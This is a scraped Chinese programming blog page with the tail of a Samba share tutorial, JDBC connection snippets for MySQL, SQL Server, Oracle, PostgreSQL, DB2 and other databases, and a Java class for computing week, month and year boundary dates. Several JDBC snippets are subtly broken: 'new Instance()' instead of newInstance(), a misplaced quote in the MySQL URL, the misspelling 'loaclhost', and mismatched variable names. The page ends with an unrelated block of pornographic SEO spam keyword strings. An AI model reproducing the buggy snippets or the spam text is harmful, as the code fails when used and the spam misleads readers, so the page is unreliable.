      打開文件夾,在地址欄輸入 \\samba服務器ip地址,會彈出提示框要求輸入用戶名和密碼,用戶名填samba,密碼填在第3步中輸入的密碼,文件夾中就會看到samba這個共享文件夾。該文件夾具有讀取和寫入權限。

    posted @ 2014-04-21 12:56 順其自然EVO 閱讀(230) | 評論 (0)編輯 收藏

    各種JDBC連接數據庫的常用代碼

    MySQL
    String Driver="com.mysql.jdbc.Driver";    //驅動程序
    String URL="jdbc:mysql://localhost:3306/db_name"?useUnicode=true&amp;characterEncoding=UTF-8;    //連接的URL,db_name為數據庫名,注意修改編碼類型
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).new Instance();
    Connection con=DriverManager.getConnection(URL,Username,Password);
    JTDS2.0:
    String Driver=" net.sourceforge.jtds.jdbc.Driver";    //驅動程序
    String URL="jdbc:jtds:sqlserver://localhost:1433/db_name";
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).new Instance();
    Connection con=DriverManager.getConnection(URL,Username,Password);
    Microsoft SQL Server 2.0驅動(3個jar的那個):
    String Driver="com.microsoft.jdbc.sqlserver.SQLServerDriver";    //連接SQL數據庫的方法
    String URL="jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=db_name";    //db_name為數據庫名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).new Instance();    //加載數據可驅動
    Connection con=DriverManager.getConnection(URL,UserName,Password);    //
    Microsoft SQL Server 3.0驅動(1個jar的那個):
    String Driver="com.microsoft.sqlserver.jdbc.SQLServerDriver";    //連接SQL數據庫的方法
    String URL="jdbc:sqlserver://localhost:1433;DatabaseName=db_name";    //db_name為數據庫名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).new Instance();    //加載數據可驅動
    Connection con=DriverManager.getConnection(URL,UserName,Password);    //
    Sysbase:
    String Driver="com.sybase.jdbc.SybDriver";    //驅動程序
    String URL="jdbc:Sysbase://localhost:5007/db_name";    //db_name為數據可名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).newInstance();
    Connection con=DriverManager.getConnection(URL,Username,Password);
    Oracle(用thin模式):
    String Driver="oracle.jdbc.driver.OracleDriver";    //連接數據庫的方法
    String URL="jdbc:oracle:thin:@loaclhost:1521:orcl";    //orcl為數據庫的SID
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).newInstance();    //加載數據庫驅動
    Connection con=DriverManager.getConnection(URL,Username,Password);

    PostgreSQL:
    String Driver="org.postgresql.Driver";    //連接數據庫的方法
    String URL="jdbc:postgresql://localhost/db_name";    //db_name為數據可名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).newInstance();
    Connection con=DriverManager.getConnection(URL,Username,Password);
    DB2:
    String Driver="com.ibm.db2.jdbc.app.DB2.Driver";    //連接具有DB2客戶端的Provider實例
    //String Driver="com.ibm.db2.jdbc.net.DB2.Driver";    //連接不具有DB2客戶端的Provider實例
    String URL="jdbc:db2://localhost:5000/db_name";    //db_name為數據可名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).newInstance();
    Connection con=DriverManager.getConnection(URL,Username,Password);
    Informix:
    String Driver="com.informix.jdbc.IfxDriver";
    String URL="jdbc:Informix-sqli://localhost:1533/db_name:INFORMIXSER=myserver";    //db_name為數據可名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).newInstance();
    Connection con=DriverManager.getConnection(URL,Username,Password);
    JDBC-ODBC:
    String Driver="sun.jdbc.odbc.JdbcOdbcDriver";
    String URL="jdbc:odbc:dbsource";    //dbsource為數據源名
    String Username="username";    //用戶名
    String Password="password";    //密碼
    Class.forName(Driver).newInstance();
    Connection con=DriverManager.getConnection(URL,Username,Password);

    posted @ 2014-04-21 12:55 順其自然EVO 閱讀(173) | 評論 (0)編輯 收藏

    Java如何獲得系統時間

    package com.hefeng.test;
    import java.text.DateFormat;
    import java.text.ParsePosition;
    import java.text.SimpleDateFormat;
    import java.util.Calendar;
    import java.util.Date;
    import java.util.GregorianCalendar;
    public class TimeTest {
    //用來全局控制 上一周,本周,下一周的周數變化
    private  int weeks = 0;
    private int MaxDate;//一月最大天數
    private int MaxYear;//一年最大天數
    public static void main(String[] args) {
    TimeTest tt = new TimeTest();
    System.out.println("獲取當天日期:"+tt.getNowTime("yyyy-MM-dd"));
    System.out.println("獲取本周一日期:"+tt.getMondayOFWeek());
    System.out.println("獲取本周日的日期~:"+tt.getCurrentWeekday());
    System.out.println("獲取上周一日期:"+tt.getPreviousWeekday());
    System.out.println("獲取上周日日期:"+tt.getPreviousWeekSunday());
    System.out.println("獲取下周一日期:"+tt.getNextMonday());
    System.out.println("獲取下周日日期:"+tt.getNextSunday());
    System.out.println("獲得相應周的周六的日期:"+tt.getNowTime("yyyy-MM-dd"));
    System.out.println("獲取本月第一天日期:"+tt.getFirstDayOfMonth());
    System.out.println("獲取本月最后一天日期:"+tt.getDefaultDay());
    System.out.println("獲取上月第一天日期:"+tt.getPreviousMonthFirst());
    System.out.println("獲取上月最后一天的日期:"+tt.getPreviousMonthEnd());
    System.out.println("獲取下月第一天日期:"+tt.getNextMonthFirst());
    System.out.println("獲取下月最后一天日期:"+tt.getNextMonthEnd());
    System.out.println("獲取本年的第一天日期:"+tt.getCurrentYearFirst());
    System.out.println("獲取本年最后一天日期:"+tt.getCurrentYearEnd());
    System.out.println("獲取去年的第一天日期:"+tt.getPreviousYearFirst());
    System.out.println("獲取去年的最后一天日期:"+tt.getPreviousYearEnd());
    System.out.println("獲取明年第一天日期:"+tt.getNextYearFirst());
    System.out.println("獲取明年最后一天日期:"+tt.getNextYearEnd());
    System.out.println("獲取本季度第一天到最后一天:"+tt.getThisSeasonTime(11));
    System.out.println("獲取兩個日期之間間隔天數2008-12-1~2008-9.29:"+TimeTest.getTwoDay("2008-12-1","2008-9-29"));
    }
    public static String getTwoDay(String sj1, String sj2) {
    SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd");
    long day = 0;
    try {
    java.util.Date date = myFormatter.parse(sj1);
    java.util.Date mydate = myFormatter.parse(sj2);
    day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000);
    } catch (Exception e) {
    return "";
    }
    return day + "";
    }
    public static String getWeek(String sdate) {
    // 再轉換為時間
    Date date = TimeTest.strToDate(sdate);
    Calendar c = Calendar.getInstance();
    c.setTime(date);
    // int hour=c.get(Calendar.DAY_OF_WEEK);
    // hour中存的就是星期幾了,其范圍 1~7
    // 1=星期日 7=星期六,其他類推
    return new SimpleDateFormat("EEEE").format(c.getTime());
    }
    public static Date strToDate(String strDate) {
    SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd");
    ParsePosition pos = new ParsePosition(0);
    Date strtodate = formatter.parse(strDate, pos);
    return strtodate;
    }
    public static long getDays(String date1, String date2) {
    if (date1 == null || date1.equals(""))
    return 0;
    if (date2 == null || date2.equals(""))
    return 0;
    // 轉換為標準時間
    SimpleDateFormat myFormatter = new SimpleDateFormat("yyyy-MM-dd");
    java.util.Date date = null;
    java.util.Date mydate = null;
    try {
    date = myFormatter.parse(date1);
    mydate = myFormatter.parse(date2);
    } catch (Exception e) {
    }
    long day = (date.getTime() - mydate.getTime()) / (24 * 60 * 60 * 1000);
    return day;
    }
    // 計算當月最后一天,返回字符串
    public String getDefaultDay(){
    String str = "";
    SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
    Calendar lastDate = Calendar.getInstance();
    lastDate.set(Calendar.DATE,1);//設為當前月的1號
    lastDate.add(Calendar.MONTH,1);//加一個月,變為下月的1號
    lastDate.add(Calendar.DATE,-1);//減去一天,變為當月最后一天
    str=sdf.format(lastDate.getTime());
    return str;
    }
    // 上月第一天
    public String getPreviousMonthFirst(){
    String str = "";
    SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
    Calendar lastDate = Calendar.getInstance();
    lastDate.set(Calendar.DATE,1);//設為當前月的1號
    lastDate.add(Calendar.MONTH,-1);//減一個月,變為下月的1號
    //lastDate.add(Calendar.DATE,-1);//減去一天,變為當月最后一天
    str=sdf.format(lastDate.getTime());
    return str;
    }
    //獲取當月第一天
    public String getFirstDayOfMonth(){
    String str = "";
    SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
    Calendar lastDate = Calendar.getInstance();
    lastDate.set(Calendar.DATE,1);//設為當前月的1號
    str=sdf.format(lastDate.getTime());
    return str;
    }
    // 獲得本周星期日的日期
    public String getCurrentWeekday() {
    weeks = 0;
    int mondayPlus = this.getMondayPlus();
    GregorianCalendar currentDate = new GregorianCalendar();
    currentDate.add(GregorianCalendar.DATE, mondayPlus+6);
    Date monday = currentDate.getTime();
    DateFormat df = DateFormat.getDateInstance();
    String preMonday = df.format(monday);
    return preMonday;
    }
    //獲取當天時間
    public String getNowTime(String dateformat){
    Date   now   =   new   Date();
    SimpleDateFormat   dateFormat   =   new   SimpleDateFormat(dateformat);//可以方便地修改日期格式
    String  hehe  = dateFormat.format(now);
    return hehe;
    }
    // 獲得當前日期與本周日相差的天數
    private int getMondayPlus() {
    Calendar cd = Calendar.getInstance();
    // 獲得今天是一周的第幾天,星期日是第一天,星期二是第二天......
    int dayOfWeek = cd.get(Calendar.DAY_OF_WEEK)-1;         //因為按中國禮拜一作為第一天所以這里減1
    if (dayOfWeek == 1) {
    return 0;
    } else {
    return 1 - dayOfWeek;
    }
    }
    //獲得本周一的日期
    public String getMondayOFWeek(){
    weeks = 0;
    int mondayPlus = this.getMondayPlus();
    GregorianCalendar currentDate = new GregorianCalendar();
    currentDate.add(GregorianCalendar.DATE, mondayPlus);
    Date monday = currentDate.getTime();
    DateFormat df = DateFormat.getDateInstance();
    String preMonday = df.format(monday);
    return preMonday;
    }
    //獲得相應周的周六的日期
    public String getSaturday() {
    int mondayPlus = this.getMondayPlus();
    GregorianCalendar currentDate = new GregorianCalendar();
    currentDate.add(GregorianCalendar.DATE, mondayPlus + 7 * weeks + 6);
    Date monday = currentDate.getTime();
    DateFormat df = DateFormat.getDateInstance();
    String preMonday = df.format(monday);
    return preMonday;
    }

    posted @ 2014-04-21 12:52 順其自然EVO 閱讀(207) | 評論 (0)編輯 收藏

    僅列出標題
    共394頁: First 上一頁 122 123 124 125 126 127 128 129 130 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導航

    統計

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 一级看片免费视频囗交| 亚洲伊人久久大香线蕉综合图片| 亚洲五月六月丁香激情| 国产色无码精品视频免费| 国产av无码专区亚洲av桃花庵| 四虎国产精品免费永久在线| 久久久久久亚洲精品| 国产成人免费网站| 久久久久亚洲国产| 国产片免费在线观看| 手机永久免费的AV在线电影网| 国产亚洲成人在线播放va| 久草免费手机视频| 亚洲一区二区三区在线| 国产精品成人四虎免费视频| 免费精品国产自产拍在| 精品一区二区三区无码免费直播| 免费看国产成年无码AV片| 一区二区三区精品高清视频免费在线播放| 亚洲日日做天天做日日谢| 亚洲国产美女在线观看 | 免费国产在线观看老王影院| 九九久久国产精品免费热6| 亚洲AV成人精品日韩一区| 亚洲中文字幕日产乱码高清app| 精品福利一区二区三区免费视频| 亚洲爆乳AAA无码专区| 国产亚洲精品资源在线26u| 69成人免费视频| 巨胸喷奶水视频www免费视频| 亚洲精品自拍视频| 亚洲男人第一无码aⅴ网站| 84pao强力永久免费高清| jzzijzzij在线观看亚洲熟妇| 亚洲成熟xxxxx电影| 亚洲va无码专区国产乱码| 国产高清在线免费视频| 国产午夜鲁丝片AV无码免费| 99久久免费看国产精品| 乱人伦中文视频在线观看免费| 日韩在线视频免费|